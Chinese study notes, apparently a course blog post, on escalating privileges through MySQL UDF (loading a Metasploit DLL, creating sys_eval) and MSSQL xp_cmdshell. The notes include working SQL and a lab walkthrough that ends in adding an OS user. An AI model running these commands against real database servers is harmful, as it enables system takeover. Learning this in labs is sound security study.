Mysql/Mssql应用程序提权(蚁景学习笔记)

一,Mysql提权

1.UDF

        UDF是用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,则可以自己用UDF加函数进去,加了之后就可以创建使用

2.UDF提权利用条件

        a.获取目标web shell

        b.获取到数据库账号密码且可以远程连接

        c.可以操作数据库

        d.可以写文件

(如果获取目标webshell 可以在本地进行爆破数据库账号密码,可以找数据库配置文件,可以进行hash破解数据库密码,所以如果拿到webshell,基本上就可以满足其他条件,因为有时虽然上传了shell,但是目标禁用了某些函数,导致蚁剑可以连到,但是打开终端却执行不了命令)

3.UDF提权步骤

(获取到目标数据库账号密码后,这里使用Navicat Premium进行远程连接)

        a.确认操作系统和架构

select @@version_compile_os, @@version_compile_machine;
或
show variables like '%compile%';

        有些时候,操作系统和mysql版本并不一样,要根据mysql版本来挑选.dll文件,这里发现是32位的,所以.dll文件选为32位

60276d59274345e58451b3030cae3692.png

        b.查看mysql安装路径和版本

show variables like '%char%';
select @@datadir;
select version();

     f3f95c0422fc4bf1bec659671039ec40.png   60b3518e15bf49a289e85275501ee141.png

        c.查看plugin路径

        mysql5.1以后,udf.ll存放在安装目录\lib\plugin中

select @@plugin_dir;

2d171d5c1dd84f6bad66ce05c8881dbe.png

        b.查看是否有写权限

show global variables like '%secure%';

02561be06c854926abcd26436f5c05c1.png

这里如果为空,则代表任意的导入导出,为null代表不允许导入导出,两者不一样

还要明白两条命令

select '111' into dumpfile 'C:\\1.txt';(将字符串111以二进制形式写入1.txt)

select '222' into outfile 'C:\\2.txt';(将字符串111以文本形式写入1.txt)

        e.创建plugin目录

mysql5.1以后,udf.ll存放在\lib\plugin目录中,但是有些mysql的安装目录下并没有,这时需要ntfs ads流创建目录

select 'xxx' into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

        f.将dll文件转为16进制

metasploit-framework/data/exploits/mysql at master · rapid7/metasploit-framework · GitHub

b187a0c2e1aa44118d91ce5408416dc5.png

        g.创建临时表

create table udftemp(data BLOB);

e3ee75485c5945f6b0f38a8988e18903.png

        h.将转换为16进制的ddl插入临时表

insert into udftemp(data) values (0x+udf.txt中的值);

       7aaf3142242241a6814fc33348de6fc5.png

        i.将dll导入pluginmulu

select data from udftemp into dumpfile "C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin";

08d4825f272b4f1da8b44ac411ac11c6.png

        g.创建函数

create function sys_eval returns string soname 'udf.dll';

这里创建的函数是ddl文件中提前编好的,函数功能也是,名字必须和文件中一样

ea14005d253e42fa9b58c526e593ecb3.png

        h.执行命令

select sys_eval('whoami');

4b5370da1b194dac92dfd792666c9824.png

二.mssql提权

1.xp_cmdshell

        在SQL Server 2000中默认是开启的,在SQL Server 2005及以上版本中xp_cmdshell 默认是关闭的,和mysql不一样,xp_cmdshell是mssql专门用来执行系统命令的,用法如下:

exec master..xp_cmdshell "dos命令";

        了解代码之后,就可以将此命令和sql注入一起利用起来,实现sql注入执行系统命令

a.确定目标是否可以执行该指令

select IS_SRVROLEMEMBER ('sysadmin')

        返回1则代表目标在sysadmin中,可以执行xp_cmdshell

b.判断是否有xp_cmdshell

select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'

        该命令是统计xp_cmdshell个数,返回1则判断存在xp_cmdshell

c.判断目标是否启用xp_cmdshell

直接执行命令,若报错,则是没开启

exec master..xp_cmdshell "whoami";
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
//开启

d.执行系统命令

exec master..xp_cmdshell "whoami";

  此外mssql的sp_oacreate也可以实现同样的效果

e.攻击靶场

尝试闭合,发现没有闭合

8ed36a8141024fc3b5234ef89a7a70fc.png

于是确定目标是否可以执行xp_cmdshell

3273470ef5a64dbd90303cec25820d9d.png

判断可以执行xp_cmdshell后,判断是否存在xp_cmdshell

9ce1ff916be34f5799b67e889424acab.png

确实存在xp_cmdshell,接下来判断是否启用xp_cmdshell

3b7f6f8f75604452857cf2ae2d0315db.png

执行命令后报错,未开启xp_cmdshell,则给他开启

5c88a28003654d7eb2caa91d48e5ac3e.png

启用之后,执行命令添加用户name

0baa6ae8f029402390ca37010e7c4661.png

5ce97faa8161410499be3cdb613b2a8f.png

 

  • 21
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值